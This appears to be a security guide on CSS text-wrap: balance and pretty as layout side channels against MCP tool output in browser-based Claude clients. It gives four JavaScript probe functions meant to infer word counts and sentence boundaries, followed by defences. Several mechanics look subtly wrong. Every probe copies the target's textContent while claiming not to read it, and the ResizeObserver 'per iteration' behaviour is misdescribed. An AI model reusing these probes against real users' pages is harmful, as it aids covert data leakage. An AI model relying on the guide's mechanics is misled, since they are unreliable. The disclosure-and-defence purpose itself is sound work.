Security Guide

MCP server CSS text-wrap: balance security — layout reflow oracle, ResizeObserver word-count leak, pretty widow-avoidance sentence boundary inference, content complexity fingerprint

CSS text-wrap: balance (Chrome 114+, Firefox 121+) re-computes line layout iteratively to equalize line widths. Each balancing iteration is observable through layout side channels. For MCP server scripts running in browser-based Claude clients, this property creates four attack surfaces: inferring word count from reflow measurements, observing ResizeObserver firings per balance split attempt, inferring sentence boundaries via text-wrap: pretty widow-avoidance behavior, and timing content complexity with performance.now() deltas — all without any permission prompt or network request.

How text-wrap: balance works — and why it leaks

Standard text layout assigns words to lines greedily: fill each line left-to-right until a word overflows, then start the next line. The result is a "ragged" final line that may be much shorter than preceding lines. text-wrap: balance instead iterates: it tries multiple line-break assignments to find the one that minimizes the difference between the widest and narrowest line. The algorithm must "count" words and evaluate different splits — and this counting is observable through the DOM.

The key insight is that getBoundingClientRect() and offsetHeight are layout-forcing calls that cause synchronous reflow. A balanced element with N lines requires proportionally more reflow work than a single-line element. Inserting a probe character and reading the element height before and after reveals how many balanced lines exist — which directly encodes the word count.

Attack 1: height delta encodes word count

Applying text-wrap: balance to a fixed-width container and reading its height before and after inserting content reveals the number of balanced lines. The line count is determined by the word count divided by approximate words-per-line at the chosen container width. An attacker-chosen width (e.g., 100px) maximizes the words-per-line ratio, allowing resolution of small word-count differences.

/* Target an existing element containing secret text (e.g., a document summary) */

function inferWordCount(targetEl) {
  const probe = document.createElement('div');
  probe.style.cssText = `
    position: fixed;
    top: -9999px;
    left: -9999px;
    width: 80px;           /* narrow width = many lines = higher resolution */
    font: 14px/1.5 sans-serif;
    text-wrap: balance;
    white-space: normal;
    visibility: hidden;
  `;

  // Copy text content from target (e.g., an iframe postMessage leak,
  // or a shared DOM element in MCP client tool output area)
  probe.textContent = targetEl.textContent;
  document.body.appendChild(probe);

  const balancedHeight = probe.getBoundingClientRect().height;
  document.body.removeChild(probe);

  // Calibrate: single word at this width and font is ~lineHeight px
  const lineHeight = 21; // 14px × 1.5
  const lineCount = Math.round(balancedHeight / lineHeight);

  // Each line at 80px width holds ~2-3 words on average
  // lineCount × 2.5 ≈ word count (calibrate for actual font metrics)
  return { lineCount, estimatedWordCount: lineCount * 2.5 };
}

// Repeated measurement at multiple widths narrows the word count
// to ±1 word precision without reading textContent directly

Information leak: Word count reveals document length without reading content. For structured documents (API keys are always 32 chars, auth tokens always 64 chars), word count narrows the content type. Combined with character-count (via a different channel), attacker can determine if the element contains a token, a sentence, or a paragraph.

Attack 2: ResizeObserver fires per balance iteration

A ResizeObserver attached to a text-wrap: balance element fires each time the browser's balance algorithm changes the element's dimensions during its iteration. On initial paint, the browser tries multiple splits and settles on the minimum. Each trial that changes the element's computed height triggers a ResizeObserver callback before the frame is composited.

The number of ResizeObserver callbacks before the element stabilizes is proportional to the difficulty of balancing — which correlates with word count and line count. Short text (2-3 words) stabilizes in 1-2 callbacks. Long text (50+ words) may trigger 5-8 callbacks as the algorithm traverses the binary search space of possible break points.

function countBalanceIterations(targetTextContent) {
  const el = document.createElement('div');
  el.style.cssText = 'width:120px; font:14px sans-serif; text-wrap:balance; position:fixed; top:-9999px; left:-9999px;';
  el.textContent = targetTextContent;

  let observerFires = 0;

  const ro = new ResizeObserver(() => {
    observerFires++;
  });

  document.body.appendChild(el);
  ro.observe(el);

  // After first frame settles, read the count
  requestAnimationFrame(() => {
    requestAnimationFrame(() => {
      ro.disconnect();
      document.body.removeChild(el);
      // observerFires encodes word count range:
      // 1-2 fires: <5 words
      // 3-4 fires: 5-20 words
      // 5-8 fires: 20-80 words
      // 9+ fires: 80+ words (long document)
      console.log('Balance iterations:', observerFires);
    });
  });
}

No permission required: ResizeObserver is available without any capability check or permission prompt. The observation target is an element the attacker controls; only the content of a target element (copied via a shared-DOM channel) is needed to trigger measurable iteration counts.

Attack 3: text-wrap: pretty reveals sentence boundary count

text-wrap: pretty avoids orphans (single words on the last line of a paragraph). It detects "widows" — a final line containing only one word — and rearranges the preceding line break to pull that word up. This rearrangement changes the element's height by exactly one line height when a widow exists, and leaves height unchanged when the last line already has two or more words.

By toggling between text-wrap: pretty and text-wrap: wrap on a fixed-width container and measuring height difference, an attacker can determine whether the last sentence ended with a single-word line. Probing at multiple widths reveals the word count of the last sentence with ±1 word precision.

function detectWidow(text, containerWidth) {
  function measureHeight(wrapMode) {
    const el = document.createElement('div');
    el.style.cssText = `width:${containerWidth}px; font:14px/1.5 sans-serif; position:fixed; top:-9999px; text-wrap:${wrapMode};`;
    el.textContent = text;
    document.body.appendChild(el);
    const h = el.getBoundingClientRect().height;
    document.body.removeChild(el);
    return h;
  }

  const prettyHeight = measureHeight('pretty');
  const wrapHeight = measureHeight('wrap');

  // If pretty is shorter, it collapsed a widow — last "word" of text
  // was previously alone on a line; now it's been folded into the prior line.
  // Height difference = one line height = widow detected.
  const widowDetected = prettyHeight < wrapHeight;

  // Binary search: find the width at which widow first appears
  // → reveals exact word count of the last line in non-pretty mode
  return widowDetected;
}

// By iterating containerWidth from narrow to wide, an attacker
// can map the exact word distribution across lines at each width,
// building a word-count histogram of the full content.

Attack 4: performance.now() timing encodes content complexity

The balance algorithm's running time is O(n log n) in the number of possible break points. For a fixed container width and font, the time to balance a text block scales with the number of words. A performance.now() measurement around the synchronous getBoundingClientRect() call (which forces reflow) reveals the content complexity with ~100µs resolution — enough to distinguish 10-word from 50-word blocks.

function timeBalanceComplexity(text) {
  const el = document.createElement('div');
  el.style.cssText = 'width:200px; font:14px sans-serif; text-wrap:balance; position:fixed; top:-9999px;';
  el.textContent = text;
  document.body.appendChild(el);

  // Force a reflow measurement — synchronous, includes balance computation
  const t0 = performance.now();
  el.getBoundingClientRect(); // triggers balance layout
  const t1 = performance.now();

  document.body.removeChild(el);

  const balanceTimeMs = t1 - t0;
  // Empirical thresholds (varies by CPU):
  // <0.1ms: 1-5 words (trivial balance)
  // 0.1-0.5ms: 6-30 words
  // 0.5-2ms: 31-100 words
  // >2ms: 100+ words (long paragraph)
  return balanceTimeMs;
}

Accuracy note: Timing attacks are less precise than geometric measurements. In practice, the height-delta and ResizeObserver methods are more reliable for word-count inference. Timing adds a complementary signal that can disambiguate cases where two texts have the same line count at the chosen container width.

Attack surface summary

Attack Browser support Information leaked Detection difficulty
Height delta encodes word count Chrome 114+, Firefox 121+ Word count ±2 words High — standard layout call
ResizeObserver iteration count Chrome 114+, Firefox 121+ Word count range (4 buckets) High — standard observer usage
Pretty widow-avoidance height delta Chrome 117+, Firefox 121+ Last-line word count, sentence boundaries High — CSS-only, no JS events
Performance timing of balance reflow Chrome 114+, Firefox 121+ Content complexity bucket Medium — noise from GC/scheduling

Defences

Isolate tool output rendering: Render MCP server tool output in a cross-origin sandboxed iframe. Content inside the iframe cannot access DOM elements outside it, blocking the shared-DOM channel that lets the attacker copy text content into their probe element. This is the only architectural defence that fully closes all four attack vectors.

Strip CSS from tool output: Use DOMPurify with FORBID_TAGS: ['style', 'link'] and FORBID_ATTR: ['style'] to prevent injected CSS from applying text-wrap: balance to existing elements. Note that this does not prevent the attacker from creating new elements and copying textContent from target elements into them.

CSP script-src with nonces: Prevents injected script blocks from calling getBoundingClientRect() or attaching ResizeObserver. Does not prevent inline event handlers or stylesheet-based attacks. Nonce-based CSP combined with DOM sanitization provides defence-in-depth.

Avoid co-locating sensitive text with attacker-controlled HTML: If MCP server tool output is rendered in the same DOM as sensitive user data, any layout side-channel attack becomes possible regardless of the specific CSS property. Architectural isolation (separate iframe per tool invocation) is the correct fix.

Related: CSS cascade values security · CSS Has No Security Model · CSS @counter-style security